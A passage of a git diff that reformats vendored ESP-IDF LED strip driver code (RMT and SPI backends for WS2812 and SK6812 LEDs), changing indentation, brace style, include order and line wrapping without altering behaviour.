- uint32_t rgb_max = value; - uint32_t rgb_min = rgb_max * (255 - saturation) / 255.0f; + uint32_t rgb_max = value; + uint32_t rgb_min = rgb_max * (255 - saturation) / 255.0f; - uint32_t i = hue / 60; - uint32_t diff = hue % 60; + uint32_t i = hue / 60; + uint32_t diff = hue % 60; - // RGB adjustment amount by hue - uint32_t rgb_adj = (rgb_max - rgb_min) * diff / 60; + // RGB adjustment amount by hue + uint32_t rgb_adj = (rgb_max - rgb_min) * diff / 60; - switch (i) { - case 0: - red = rgb_max; - green = rgb_min + rgb_adj; - blue = rgb_min; - break; - case 1: - red = rgb_max - rgb_adj; - green = rgb_max; - blue = rgb_min; - break; - case 2: - red = rgb_min; - green = rgb_max; - blue = rgb_min + rgb_adj; - break; - case 3: - red = rgb_min; - green = rgb_max - rgb_adj; - blue = rgb_max; - break; - case 4: - red = rgb_min + rgb_adj; - green = rgb_min; - blue = rgb_max; - break; - default: - red = rgb_max; - green = rgb_min; - blue = rgb_max - rgb_adj; - break; - } + switch (i) { + case 0: + red = rgb_max; + green = rgb_min + rgb_adj; + blue = rgb_min; + break; + case 1: + red = rgb_max - rgb_adj; + green = rgb_max; + blue = rgb_min; + break; + case 2: + red = rgb_min; + green = rgb_max; + blue = rgb_min + rgb_adj; + break; + case 3: + red = rgb_min; + green = rgb_max - rgb_adj; + blue = rgb_max; + break; + case 4: + red = rgb_min + rgb_adj; + green = rgb_min; + blue = rgb_max; + break; + default: + red = rgb_max; + green = rgb_min; + blue = rgb_max - rgb_adj; + break; + } - return strip->set_pixel(strip, index, red, green, blue); + return strip->set_pixel(strip, index, red, green, blue); } -esp_err_t led_strip_set_pixel_rgbw(led_strip_handle_t strip, uint32_t index, uint32_t red, uint32_t green, uint32_t blue, uint32_t white) -{ - ESP_RETURN_ON_FALSE(strip, ESP_ERR_INVALID_ARG, TAG, "invalid argument"); - return strip->set_pixel_rgbw(strip, index, red, green, blue, white); +esp_err_t led_strip_set_pixel_rgbw(led_strip_handle_t strip, uint32_t index, + uint32_t red, uint32_t green, uint32_t blue, + uint32_t white) { + ESP_RETURN_ON_FALSE(strip, ESP_ERR_INVALID_ARG, TAG, "invalid argument"); + return strip->set_pixel_rgbw(strip, index, red, green, blue, white); } -esp_err_t led_strip_refresh(led_strip_handle_t strip) -{ - ESP_RETURN_ON_FALSE(strip, ESP_ERR_INVALID_ARG, TAG, "invalid argument"); - return strip->refresh(strip); +esp_err_t led_strip_refresh(led_strip_handle_t strip) { + ESP_RETURN_ON_FALSE(strip, ESP_ERR_INVALID_ARG, TAG, "invalid argument"); + return strip->refresh(strip); } -esp_err_t led_strip_clear(led_strip_handle_t strip) -{ - ESP_RETURN_ON_FALSE(strip, ESP_ERR_INVALID_ARG, TAG, "invalid argument"); - return strip->clear(strip); +esp_err_t led_strip_clear(led_strip_handle_t strip) { + ESP_RETURN_ON_FALSE(strip, ESP_ERR_INVALID_ARG, TAG, "invalid argument"); + return strip->clear(strip); } -esp_err_t led_strip_del(led_strip_handle_t strip) -{ - ESP_RETURN_ON_FALSE(strip, ESP_ERR_INVALID_ARG, TAG, "invalid argument"); - return strip->del(strip); +esp_err_t led_strip_del(led_strip_handle_t strip) { + ESP_RETURN_ON_FALSE(strip, ESP_ERR_INVALID_ARG, TAG, "invalid argument"); + return strip->del(strip); } diff --git a/main/vendor/led/led_strip_rmt_dev.c b/main/vendor/led/led_strip_rmt_dev.c index 7cee9fee..d57ced1f 100644 --- a/main/vendor/led/led_strip_rmt_dev.c +++ b/main/vendor/led/led_strip_rmt_dev.c @@ -3,15 +3,15 @@ * * SPDX-License-Identifier: Apache-2.0 */ -#include -#include -#include -#include "esp_log.h" -#include "esp_check.h" #include "driver/rmt_tx.h" +#include "esp_check.h" +#include "esp_log.h" #include "vendor/led/led_strip.h" #include "vendor/led/led_strip_interface.h" #include "vendor/led/led_strip_rmt_encoder.h" +#include +#include +#include #define LED_STRIP_RMT_DEFAULT_RESOLUTION 10000000 // 10MHz resolution #define LED_STRIP_RMT_DEFAULT_TRANS_QUEUE_SIZE 4 @@ -25,184 +25,202 @@ static const char *TAG = "led_strip_rmt"; typedef struct { - led_strip_t base; - rmt_channel_handle_t rmt_chan; - rmt_encoder_handle_t strip_encoder; - uint32_t strip_len; - uint8_t bytes_per_pixel; - uint8_t pixel_buf[]; + led_strip_t base; + rmt_channel_handle_t rmt_chan; + rmt_encoder_handle_t strip_encoder; + uint32_t strip_len; + uint8_t bytes_per_pixel; + uint8_t pixel_buf[]; } led_strip_rmt_obj; -static esp_err_t led_strip_rmt_set_pixel(led_strip_t *strip, uint32_t index, uint32_t red, uint32_t green, uint32_t blue) { - led_strip_rmt_obj *rmt_strip = __containerof(strip, led_strip_rmt_obj, base); - - uint32_t start = index * rmt_strip->bytes_per_pixel; - uint8_t *pixel_buf = rmt_strip->pixel_buf + start; - - - switch (rmt_strip->base.led_pixel_format) { - case LED_PIXEL_FORMAT_RGB: - pixel_buf[0] = red & 0xFF; - pixel_buf[1] = green & 0xFF; - pixel_buf[2] = blue & 0xFF; - break; - - case LED_PIXEL_FORMAT_GRB: - pixel_buf[0] = green & 0xFF; - pixel_buf[1] = red & 0xFF; - pixel_buf[2] = blue & 0xFF; - break; - default: - ESP_LOGE(TAG, "Unsupported pixel format"); - return ESP_ERR_INVALID_ARG; - } - - return ESP_OK; +static esp_err_t led_strip_rmt_set_pixel(led_strip_t *strip, uint32_t index, + uint32_t red, uint32_t green, + uint32_t blue) { + led_strip_rmt_obj *rmt_strip = __containerof(strip, led_strip_rmt_obj, base); + + uint32_t start = index * rmt_strip->bytes_per_pixel; + uint8_t *pixel_buf = rmt_strip->pixel_buf + start; + + switch (rmt_strip->base.led_pixel_format) { + case LED_PIXEL_FORMAT_RGB: + pixel_buf[0] = red & 0xFF; + pixel_buf[1] = green & 0xFF; + pixel_buf[2] = blue & 0xFF; + break; + + case LED_PIXEL_FORMAT_GRB: + pixel_buf[0] = green & 0xFF; + pixel_buf[1] = red & 0xFF; + pixel_buf[2] = blue & 0xFF; + break; + default: + ESP_LOGE(TAG, "Unsupported pixel format"); + return ESP_ERR_INVALID_ARG; + } + + return ESP_OK; } -static esp_err_t led_strip_rmt_set_pixel_rgbw(led_strip_t *strip, uint32_t index, uint32_t red, uint32_t green, uint32_t blue, uint32_t white) -{ - led_strip_rmt_obj *rmt_strip = __containerof(strip, led_strip_rmt_obj, base); - ESP_RETURN_ON_FALSE(index < rmt_strip->strip_len, ESP_ERR_INVALID_ARG, TAG, "index out of maximum number of LEDs"); - ESP_RETURN_ON_FALSE(rmt_strip->bytes_per_pixel == 4, ESP_ERR_INVALID_ARG, TAG, "wrong LED pixel format, expected 4 bytes per pixel"); - uint8_t *buf_start = rmt_strip->pixel_buf + index * 4; - // SK6812 component order is GRBW - *buf_start = green & 0xFF; - *++buf_start = red & 0xFF; - *++buf_start = blue & 0xFF; - *++buf_start = white & 0xFF; - return ESP_OK; +static esp_err_t led_strip_rmt_set_pixel_rgbw(led_strip_t *strip, + uint32_t index, uint32_t red, + uint32_t green, uint32_t blue, + uint32_t white) { + led_strip_rmt_obj *rmt_strip = __containerof(strip, led_strip_rmt_obj, base); + ESP_RETURN_ON_FALSE(index < rmt_strip->strip_len, ESP_ERR_INVALID_ARG, TAG, + "index out of maximum number of LEDs"); + ESP_RETURN_ON_FALSE(rmt_strip->bytes_per_pixel == 4, ESP_ERR_INVALID_ARG, TAG, + "wrong LED pixel format, expected 4 bytes per pixel"); + uint8_t *buf_start = rmt_strip->pixel_buf + index * 4; + // SK6812 component order is GRBW + *buf_start = green & 0xFF; + *++buf_start = red & 0xFF; + *++buf_start = blue & 0xFF; + *++buf_start = white & 0xFF; + return ESP_OK; } -static esp_err_t led_strip_rmt_refresh(led_strip_t *strip) -{ - led_strip_rmt_obj *rmt_strip = __containerof(strip, led_strip_rmt_obj, base); - rmt_transmit_config_t tx_conf = { - .loop_count = 0, - }; - - // Silent error handling for all operations - esp_err_t err; - - // Try to enable RMT channel - err = rmt_enable(rmt_strip->rmt_chan); - if (err != ESP_OK) { - return err; - } - - // Try to transmit - err = rmt_transmit(rmt_strip->rmt_chan, rmt_strip->strip_encoder, rmt_strip->pixel_buf, - rmt_strip->strip_len * rmt_strip->bytes_per_pixel, &tx_conf); - if (err != ESP_OK) { - rmt_disable(rmt_strip->rmt_chan); - return err; - } - - // Wait for transmission - err = rmt_tx_wait_all_done(rmt_strip->rmt_chan, -1); - if (err != ESP_OK) { - rmt_disable(rmt_strip->rmt_chan); - return err; - } - - // Disable RMT channel - err = rmt_disable(rmt_strip->rmt_chan); - if (err != ESP_OK) { - return err; - } - - return ESP_OK; +static esp_err_t led_strip_rmt_refresh(led_strip_t *strip) { + led_strip_rmt_obj *rmt_strip = __containerof(strip, led_strip_rmt_obj, base); + rmt_transmit_config_t tx_conf = { + .loop_count = 0, + }; + + // Silent error handling for all operations + esp_err_t err; + + // Try to enable RMT channel + err = rmt_enable(rmt_strip->rmt_chan); + if (err != ESP_OK) { + return err; + } + + // Try to transmit + err = rmt_transmit( + rmt_strip->rmt_chan, rmt_strip->strip_encoder, rmt_strip->pixel_buf, + rmt_strip->strip_len * rmt_strip->bytes_per_pixel, &tx_conf); + if (err != ESP_OK) { + rmt_disable(rmt_strip->rmt_chan); + return err; + } + + // Wait for transmission + err = rmt_tx_wait_all_done(rmt_strip->rmt_chan, -1); + if (err != ESP_OK) { + rmt_disable(rmt_strip->rmt_chan); + return err; + } + + // Disable RMT channel + err = rmt_disable(rmt_strip->rmt_chan); + if (err != ESP_OK) { + return err; + } + + return ESP_OK; } -static esp_err_t led_strip_rmt_clear(led_strip_t *strip) -{ - led_strip_rmt_obj *rmt_strip = __containerof(strip, led_strip_rmt_obj, base); - // Write zero to turn off all leds - memset(rmt_strip->pixel_buf, 0, rmt_strip->strip_len * rmt_strip->bytes_per_pixel); - return led_strip_rmt_refresh(strip); +static esp_err_t led_strip_rmt_clear(led_strip_t *strip) { + led_strip_rmt_obj *rmt_strip = __containerof(strip, led_strip_rmt_obj, base); + // Write zero to turn off all leds + memset(rmt_strip->pixel_buf, 0, + rmt_strip->strip_len * rmt_strip->bytes_per_pixel); + return led_strip_rmt_refresh(strip); } -static esp_err_t led_strip_rmt_del(led_strip_t *strip) -{ - led_strip_rmt_obj *rmt_strip = __containerof(strip, led_strip_rmt_obj, base); - ESP_RETURN_ON_ERROR(rmt_del_channel(rmt_strip->rmt_chan), TAG, "delete RMT channel failed"); - ESP_RETURN_ON_ERROR(rmt_del_encoder(rmt_strip->strip_encoder), TAG, "delete strip encoder failed"); - free(rmt_strip); - return ESP_OK; +static esp_err_t led_strip_rmt_del(led_strip_t *strip) { + led_strip_rmt_obj *rmt_strip = __containerof(strip, led_strip_rmt_obj, base); + ESP_RETURN_ON_ERROR(rmt_del_channel(rmt_strip->rmt_chan), TAG, + "delete RMT channel failed"); + ESP_RETURN_ON_ERROR(rmt_del_encoder(rmt_strip->strip_encoder), TAG, + "delete strip encoder failed"); + free(rmt_strip); + return ESP_OK; } -esp_err_t led_strip_new_rmt_device(const led_strip_config_t *led_config, const led_strip_rmt_config_t *rmt_config, led_strip_handle_t *ret_strip) { - led_strip_rmt_obj *rmt_strip = NULL; - esp_err_t ret = ESP_OK; - - ESP_GOTO_ON_FALSE(led_config && rmt_config && ret_strip, ESP_ERR_INVALID_ARG, err, TAG, "invalid argument"); - ESP_GOTO_ON_FALSE(led_config->led_pixel_format < LED_PIXEL_FORMAT_INVALID, ESP_ERR_INVALID_ARG, err, TAG, "invalid led_pixel_format"); - - // Determine bytes per pixel based on the pixel format - uint8_t bytes_per_pixel = 3; - if (led_config->led_pixel_format == LED_PIXEL_FORMAT_GRBW) { - bytes_per_pixel = 4; - } else if (led_config->led_pixel_format == LED_PIXEL_FORMAT_GRB || - led_config->led_pixel_format == LED_PIXEL_FORMAT_RGB) { - bytes_per_pixel = 3; - } else { - ESP_LOGE(TAG, "Unsupported pixel format"); - return ESP_ERR_INVALID_ARG; // Gracefully handle unsupported formats - } - - // Allocate memory for the LED strip object and pixel buffer - rmt_strip = calloc(1, sizeof(led_strip_rmt_obj) + led_config->max_leds * bytes_per_pixel); - ESP_GOTO_ON_FALSE(rmt_strip, ESP_ERR_NO_MEM, err, TAG, "no mem for rmt strip"); - - uint32_t resolution = rmt_config->resolution_hz ? rmt_config->resolution_hz : LED_STRIP_RMT_DEFAULT_RESOLUTION; - - // Set RMT clock source - rmt_clock_source_t clk_src = rmt_config->clk_src ? rmt_config->clk_src : RMT_CLK_SRC_DEFAULT; - - size_t mem_block_symbols = rmt_config->mem_block_symbols ? rmt_config->mem_block_symbols : LED_STRIP_RMT_DEFAULT_MEM_BLOCK_SYMBOLS; - - rmt_tx_channel_config_t rmt_chan_config = { - .clk_src = clk_src, - .gpio_num = led_config->strip_gpio_num, - .mem_block_symbols = mem_block_symbols, - .resolution_hz = resolution, - .trans_queue_depth = LED_STRIP_RMT_DEFAULT_TRANS_QUEUE_SIZE, - .flags.with_dma = rmt_config->flags.with_dma, - .flags.invert_out = led_config->flags.invert_out, - }; - - // Create the RMT TX channel - ESP_GOTO_ON_ERROR(rmt_new_tx_channel(&rmt_chan_config, &rmt_strip->rmt_chan), err, TAG, "create RMT TX channel failed"); - - // Create the LED strip encoder - led_strip_encoder_config_t strip_encoder_conf = { - .resolution = resolution, - .led_model = led_config->led_model - }; - ESP_GOTO_ON_ERROR(rmt_new_led_strip_encoder(&strip_encoder_conf, &rmt_strip->strip_encoder), err, TAG, "create LED strip encoder failed"); - - // Assign functions and parameters to the strip object - rmt_strip->base.led_pixel_format = led_config->led_pixel_format; - rmt_strip->bytes_per_pixel = bytes_per_pixel; - rmt_strip->strip_len = led_config->max_leds; - rmt_strip->base.set_pixel = led_strip_rmt_set_pixel; - rmt_strip->base.set_pixel_rgbw = led_strip_rmt_set_pixel_rgbw; - rmt_strip->base.refresh = led_strip_rmt_refresh; - rmt_strip->base.clear = led_strip_rmt_clear; - rmt_strip->base.del = led_strip_rmt_del; - - *ret_strip = &rmt_strip->base; - return ESP_OK; +esp_err_t led_strip_new_rmt_device(const led_strip_config_t *led_config, + const led_strip_rmt_config_t *rmt_config, + led_strip_handle_t *ret_strip) { + led_strip_rmt_obj *rmt_strip = NULL; + esp_err_t ret = ESP_OK; + + ESP_GOTO_ON_FALSE(led_config && rmt_config && ret_strip, ESP_ERR_INVALID_ARG, + err, TAG, "invalid argument"); + ESP_GOTO_ON_FALSE(led_config->led_pixel_format < LED_PIXEL_FORMAT_INVALID, + ESP_ERR_INVALID_ARG, err, TAG, "invalid led_pixel_format"); + + // Determine bytes per pixel based on the pixel format + uint8_t bytes_per_pixel = 3; + if (led_config->led_pixel_format == LED_PIXEL_FORMAT_GRBW) { + bytes_per_pixel = 4; + } else if (led_config->led_pixel_format == LED_PIXEL_FORMAT_GRB || + led_config->led_pixel_format == LED_PIXEL_FORMAT_RGB) { + bytes_per_pixel = 3; + } else { + ESP_LOGE(TAG, "Unsupported pixel format"); + return ESP_ERR_INVALID_ARG; // Gracefully handle unsupported formats + } + + // Allocate memory for the LED strip object and pixel buffer + rmt_strip = calloc(1, sizeof(led_strip_rmt_obj) + + led_config->max_leds * bytes_per_pixel); + ESP_GOTO_ON_FALSE(rmt_strip, ESP_ERR_NO_MEM, err, TAG, + "no mem for rmt strip"); + + uint32_t resolution = rmt_config->resolution_hz + ? rmt_config->resolution_hz + : LED_STRIP_RMT_DEFAULT_RESOLUTION; + + // Set RMT clock source + rmt_clock_source_t clk_src = + rmt_config->clk_src ? rmt_config->clk_src : RMT_CLK_SRC_DEFAULT; + + size_t mem_block_symbols = rmt_config->mem_block_symbols + ? rmt_config->mem_block_symbols + : LED_STRIP_RMT_DEFAULT_MEM_BLOCK_SYMBOLS; + + rmt_tx_channel_config_t rmt_chan_config = { + .clk_src = clk_src, + .gpio_num = led_config->strip_gpio_num, + .mem_block_symbols = mem_block_symbols, + .resolution_hz = resolution, + .trans_queue_depth = LED_STRIP_RMT_DEFAULT_TRANS_QUEUE_SIZE, + .flags.with_dma = rmt_config->flags.with_dma, + .flags.invert_out = led_config->flags.invert_out, + }; + + // Create the RMT TX channel + ESP_GOTO_ON_ERROR(rmt_new_tx_channel(&rmt_chan_config, &rmt_strip->rmt_chan), + err, TAG, "create RMT TX channel failed"); + + // Create the LED strip encoder + led_strip_encoder_config_t strip_encoder_conf = { + .resolution = resolution, .led_model = led_config->led_model}; + ESP_GOTO_ON_ERROR( + rmt_new_led_strip_encoder(&strip_encoder_conf, &rmt_strip->strip_encoder), + err, TAG, "create LED strip encoder failed"); + + // Assign functions and parameters to the strip object + rmt_strip->base.led_pixel_format = led_config->led_pixel_format; + rmt_strip->bytes_per_pixel = bytes_per_pixel; + rmt_strip->strip_len = led_config->max_leds; + rmt_strip->base.set_pixel = led_strip_rmt_set_pixel; + rmt_strip->base.set_pixel_rgbw = led_strip_rmt_set_pixel_rgbw; + rmt_strip->base.refresh = led_strip_rmt_refresh; + rmt_strip->base.clear = led_strip_rmt_clear; + rmt_strip->base.del = led_strip_rmt_del; + + *ret_strip = &rmt_strip->base; + return ESP_OK; err: - if (rmt_strip) { - if (rmt_strip->rmt_chan) { - rmt_del_channel(rmt_strip->rmt_chan); - } - if (rmt_strip->strip_encoder) { - rmt_del_encoder(rmt_strip->strip_encoder); - } - free(rmt_strip); + if (rmt_strip) { + if (rmt_strip->rmt_chan) { + rmt_del_channel(rmt_strip->rmt_chan); + } + if (rmt_strip->strip_encoder) { + rmt_del_encoder(rmt_strip->strip_encoder); } - return ret; + free(rmt_strip); + } + return ret; } \ No newline at end of file diff --git a/main/vendor/led/led_strip_rmt_encoder.c b/main/vendor/led/led_strip_rmt_encoder.c index 9931321b..8a0bd404 100644 --- a/main/vendor/led/led_strip_rmt_encoder.c +++ b/main/vendor/led/led_strip_rmt_encoder.c @@ -4,143 +4,164 @@ * SPDX-License-Identifier: Apache-2.0 */ -#include "esp_check.h" #include "vendor/led/led_strip_rmt_encoder.h" +#include "esp_check.h" static const char *TAG = "led_rmt_encoder"; typedef struct { - rmt_encoder_t base; - rmt_encoder_t *bytes_encoder; - rmt_encoder_t *copy_encoder; - int state; - rmt_symbol_word_t reset_code; + rmt_encoder_t base; + rmt_encoder_t *bytes_encoder; + rmt_encoder_t *copy_encoder; + int state; + rmt_symbol_word_t reset_code; } rmt_led_strip_encoder_t; -static size_t rmt_encode_led_strip(rmt_encoder_t *encoder, rmt_channel_handle_t channel, const void *primary_data, size_t data_size, rmt_encode_state_t *ret_state) -{ - rmt_led_strip_encoder_t *led_encoder = __containerof(encoder, rmt_led_strip_encoder_t, base); - rmt_encoder_handle_t bytes_encoder = led_encoder->bytes_encoder; - rmt_encoder_handle_t copy_encoder = led_encoder->copy_encoder; - rmt_encode_state_t session_state = 0; - rmt_encode_state_t state = 0; - size_t encoded_symbols = 0; - switch (led_encoder->state) { - case 0: // send RGB data - encoded_symbols += bytes_encoder->encode(bytes_encoder, channel, primary_data, data_size, &session_state); - if (session_state & RMT_ENCODING_COMPLETE) { - led_encoder->state = 1; // switch to next state when current encoding session finished - } - if (session_state & RMT_ENCODING_MEM_FULL) { - state |= RMT_ENCODING_MEM_FULL; - goto out; // yield if there's no free space for encoding artifacts - } - // fall-through - case 1: // send reset code - encoded_symbols += copy_encoder->encode(copy_encoder, channel, &led_encoder->reset_code, - sizeof(led_encoder->reset_code), &session_state); - if (session_state & RMT_ENCODING_COMPLETE) { - led_encoder->state = 0; // back to the initial encoding session - state |= RMT_ENCODING_COMPLETE; - } - if (session_state & RMT_ENCODING_MEM_FULL) { - state |= RMT_ENCODING_MEM_FULL; - goto out; // yield if there's no free space for encoding artifacts - } +static size_t rmt_encode_led_strip(rmt_encoder_t *encoder, + rmt_channel_handle_t channel, + const void *primary_data, size_t data_size, + rmt_encode_state_t *ret_state) { + rmt_led_strip_encoder_t *led_encoder = + __containerof(encoder, rmt_led_strip_encoder_t, base); + rmt_encoder_handle_t bytes_encoder = led_encoder->bytes_encoder; + rmt_encoder_handle_t copy_encoder = led_encoder->copy_encoder; + rmt_encode_state_t session_state = 0; + rmt_encode_state_t state = 0; + size_t encoded_symbols = 0; + switch (led_encoder->state) { + case 0: // send RGB data + encoded_symbols += bytes_encoder->encode( + bytes_encoder, channel, primary_data, data_size, &session_state); + if (session_state & RMT_ENCODING_COMPLETE) { + led_encoder->state = + 1; // switch to next state when current encoding session finished + } + if (session_state & RMT_ENCODING_MEM_FULL) { + state |= RMT_ENCODING_MEM_FULL; + goto out; // yield if there's no free space for encoding artifacts } + // fall-through + case 1: // send reset code + encoded_symbols += + copy_encoder->encode(copy_encoder, channel, &led_encoder->reset_code, + sizeof(led_encoder->reset_code), &session_state); + if (session_state & RMT_ENCODING_COMPLETE) { + led_encoder->state = 0; // back to the initial encoding session + state |= RMT_ENCODING_COMPLETE; + } + if (session_state & RMT_ENCODING_MEM_FULL) { + state |= RMT_ENCODING_MEM_FULL; + goto out; // yield if there's no free space for encoding artifacts + } + } out: - *ret_state = state; - return encoded_symbols; + *ret_state = state; + return encoded_symbols; } -static esp_err_t rmt_del_led_strip_encoder(rmt_encoder_t *encoder) -{ - rmt_led_strip_encoder_t *led_encoder = __containerof(encoder, rmt_led_strip_encoder_t, base); - rmt_del_encoder(led_encoder->bytes_encoder); - rmt_del_encoder(led_encoder->copy_encoder); - free(led_encoder); - return ESP_OK; +static esp_err_t rmt_del_led_strip_encoder(rmt_encoder_t *encoder) { + rmt_led_strip_encoder_t *led_encoder = + __containerof(encoder, rmt_led_strip_encoder_t, base); + rmt_del_encoder(led_encoder->bytes_encoder); + rmt_del_encoder(led_encoder->copy_encoder); + free(led_encoder); + return ESP_OK; } -static esp_err_t rmt_led_strip_encoder_reset(rmt_encoder_t *encoder) -{ - rmt_led_strip_encoder_t *led_encoder = __containerof(encoder, rmt_led_strip_encoder_t, base); - rmt_encoder_reset(led_encoder->bytes_encoder); - rmt_encoder_reset(led_encoder->copy_encoder); - led_encoder->state = 0; - return ESP_OK; +static esp_err_t rmt_led_strip_encoder_reset(rmt_encoder_t *encoder) { + rmt_led_strip_encoder_t *led_encoder = + __containerof(encoder, rmt_led_strip_encoder_t, base); + rmt_encoder_reset(led_encoder->bytes_encoder); + rmt_encoder_reset(led_encoder->copy_encoder); + led_encoder->state = 0; + return ESP_OK; } -esp_err_t rmt_new_led_strip_encoder(const led_strip_encoder_config_t *config, rmt_encoder_handle_t *ret_encoder) -{ - esp_err_t ret = ESP_OK; - rmt_led_strip_encoder_t *led_encoder = NULL; - ESP_GOTO_ON_FALSE(config && ret_encoder, ESP_ERR_INVALID_ARG, err, TAG, "invalid argument"); - ESP_GOTO_ON_FALSE(config->led_model < LED_MODEL_INVALID, ESP_ERR_INVALID_ARG, err, TAG, "invalid led model"); - led_encoder = calloc(1, sizeof(rmt_led_strip_encoder_t)); - ESP_GOTO_ON_FALSE(led_encoder, ESP_ERR_NO_MEM, err, TAG, "no mem for led strip encoder"); - led_encoder->base.encode = rmt_encode_led_strip; - led_encoder->base.del = rmt_del_led_strip_encoder; - led_encoder->base.reset = rmt_led_strip_encoder_reset; - rmt_bytes_encoder_config_t bytes_encoder_config; - if (config->led_model == LED_MODEL_SK6812) { - bytes_encoder_config = (rmt_bytes_encoder_config_t) { - .bit0 = { +esp_err_t rmt_new_led_strip_encoder(const led_strip_encoder_config_t *config, + rmt_encoder_handle_t *ret_encoder) { + esp_err_t ret = ESP_OK; + rmt_led_strip_encoder_t *led_encoder = NULL; + ESP_GOTO_ON_FALSE(config && ret_encoder, ESP_ERR_INVALID_ARG, err, TAG, + "invalid argument"); + ESP_GOTO_ON_FALSE(config->led_model < LED_MODEL_INVALID, ESP_ERR_INVALID_ARG, + err, TAG, "invalid led model"); + led_encoder = calloc(1, sizeof(rmt_led_strip_encoder_t)); + ESP_GOTO_ON_FALSE(led_encoder, ESP_ERR_NO_MEM, err, TAG, + "no mem for led strip encoder"); + led_encoder->base.encode = rmt_encode_led_strip; + led_encoder->base.del = rmt_del_led_strip_encoder; + led_encoder->base.reset = rmt_led_strip_encoder_reset; + rmt_bytes_encoder_config_t bytes_encoder_config; + if (config->led_model == LED_MODEL_SK6812) { + bytes_encoder_config = (rmt_bytes_encoder_config_t){ + .bit0 = + { .level0 = 1, .duration0 = 0.3 * config->resolution / 1000000, // T0H=0.3us .level1 = 0, .duration1 = 0.9 * config->resolution / 1000000, // T0L=0.9us }, - .bit1 = { + .bit1 = + { .level0 = 1, .duration0 = 0.6 * config->resolution / 1000000, // T1H=0.6us .level1 = 0, .duration1 = 0.6 * config->resolution / 1000000, // T1L=0.6us }, - .flags.msb_first = 1 // SK6812 transfer bit order: G7...G0R7...R0B7...B0(W7...W0) - }; - } else if (config->led_model == LED_MODEL_WS2812) { - // different led strip might have its own timing requirements, following parameter is for WS2812 - bytes_encoder_config = (rmt_bytes_encoder_config_t) { - .bit0 = { + .flags.msb_first = + 1 // SK6812 transfer bit order: G7...G0R7...R0B7...B0(W7...W0) + }; + } else if (config->led_model == LED_MODEL_WS2812) { + // different led strip might have its own timing requirements, following + // parameter is for WS2812 + bytes_encoder_config = (rmt_bytes_encoder_config_t){ + .bit0 = + { .level0 = 1, .duration0 = 0.3 * config->resolution / 1000000, // T0H=0.3us .level1 = 0, .duration1 = 0.9 * config->resolution / 1000000, // T0L=0.9us }, - .bit1 = { + .bit1 = + { .level0 = 1, .duration0 = 0.9 * config->resolution / 1000000, // T1H=0.9us .level1 = 0, .duration1 = 0.3 * config->resolution / 1000000, // T1L=0.3us }, - .flags.msb_first = 1 // WS2812 transfer bit order: G7...G0R7...R0B7...B0 - }; - } else { - assert(false); - } - ESP_GOTO_ON_ERROR(rmt_new_bytes_encoder(&bytes_encoder_config, &led_encoder->bytes_encoder), err, TAG, "create bytes encoder failed"); - rmt_copy_encoder_config_t copy_encoder_config = {}; - ESP_GOTO_ON_ERROR(rmt_new_copy_encoder(©_encoder_config, &led_encoder->copy_encoder), err, TAG, "create copy encoder failed"); - - uint32_t reset_ticks = config->resolution / 1000000 * 280 / 2; // reset code duration defaults to 280us to accomodate WS2812B-V5 - led_encoder->reset_code = (rmt_symbol_word_t) { - .level0 = 0, - .duration0 = reset_ticks, - .level1 = 0, - .duration1 = reset_ticks, + .flags.msb_first = 1 // WS2812 transfer bit order: G7...G0R7...R0B7...B0 }; - *ret_encoder = &led_encoder->base; - return ESP_OK; + } else { + assert(false); + } + ESP_GOTO_ON_ERROR( + rmt_new_bytes_encoder(&bytes_encoder_config, &led_encoder->bytes_encoder), + err, TAG, "create bytes encoder failed"); + rmt_copy_encoder_config_t copy_encoder_config = {}; + ESP_GOTO_ON_ERROR( + rmt_new_copy_encoder(©_encoder_config, &led_encoder->copy_encoder), + err, TAG, "create copy encoder failed"); + + uint32_t reset_ticks = + config->resolution / 1000000 * 280 / + 2; // reset code duration defaults to 280us to accomodate WS2812B-V5 + led_encoder->reset_code = (rmt_symbol_word_t){ + .level0 = 0, + .duration0 = reset_ticks, + .level1 = 0, + .duration1 = reset_ticks, + }; + *ret_encoder = &led_encoder->base; + return ESP_OK; err: - if (led_encoder) { - if (led_encoder->bytes_encoder) { - rmt_del_encoder(led_encoder->bytes_encoder); - } - if (led_encoder->copy_encoder) { - rmt_del_encoder(led_encoder->copy_encoder); - } - free(led_encoder); + if (led_encoder) { + if (led_encoder->bytes_encoder) { + rmt_del_encoder(led_encoder->bytes_encoder); + } + if (led_encoder->copy_encoder) { + rmt_del_encoder(led_encoder->copy_encoder); } - return ret; + free(led_encoder); + } + return ret; } diff --git a/main/vendor/led/led_strip_spi_dev.c b/main/vendor/led/led_strip_spi_dev.c index 8892bec1..4f7cc393 100644 --- a/main/vendor/led/led_strip_spi_dev.c +++ b/main/vendor/led/led_strip_spi_dev.c @@ -3,18 +3,19 @@ * * SPDX-License-Identifier: Apache-2.0 */ -#include -#include -#include -#include "esp_log.h" #include "esp_check.h" +#include "esp_log.h" #include "esp_rom_gpio.h" +#include "hal/spi_hal.h" #include "soc/spi_periph.h" #include "vendor/led/led_strip.h" #include "vendor/led/led_strip_interface.h" -#include "hal/spi_hal.h" +#include +#include +#include -#define LED_STRIP_SPI_DEFAULT_RESOLUTION (2.5 * 1000 * 1000) // 2.5MHz resolution +#define LED_STRIP_SPI_DEFAULT_RESOLUTION \ + (2.5 * 1000 * 1000) // 2.5MHz resolution #define LED_STRIP_SPI_DEFAULT_TRANS_QUEUE_SIZE 4 #define SPI_BYTES_PER_COLOR_BYTE 3 @@ -23,189 +24,233 @@ static const char *TAG = "led_strip_spi"; typedef struct { - led_strip_t base; - spi_host_device_t spi_host; - spi_device_handle_t spi_device; - uint32_t strip_len; - uint8_t bytes_per_pixel; - uint8_t pixel_buf[]; + led_strip_t base; + spi_host_device_t spi_host; + spi_device_handle_t spi_device; + uint32_t strip_len; + uint8_t bytes_per_pixel; + uint8_t pixel_buf[]; } led_strip_spi_obj; // please make sure to zero-initialize the buf before calling this function -static void __led_strip_spi_bit(uint8_t data, uint8_t *buf) -{ - // Each color of 1 bit is represented by 3 bits of SPI, low_level:100 ,high_level:110 - // So a color byte occupies 3 bytes of SPI. - *(buf + 2) |= data & BIT(0) ? BIT(2) | BIT(1) : BIT(2); - *(buf + 2) |= data & BIT(1) ? BIT(5) | BIT(4) : BIT(5); - *(buf + 2) |= data & BIT(2) ? BIT(7) : 0x00; - *(buf + 1) |= BIT(0); - *(buf + 1) |= data & BIT(3) ? BIT(3) | BIT(2) : BIT(3); - *(buf + 1) |= data & BIT(4) ? BIT(6) | BIT(5) : BIT(6); - *(buf + 0) |= data & BIT(5) ? BIT(1) | BIT(0) : BIT(1); - *(buf + 0) |= data & BIT(6) ? 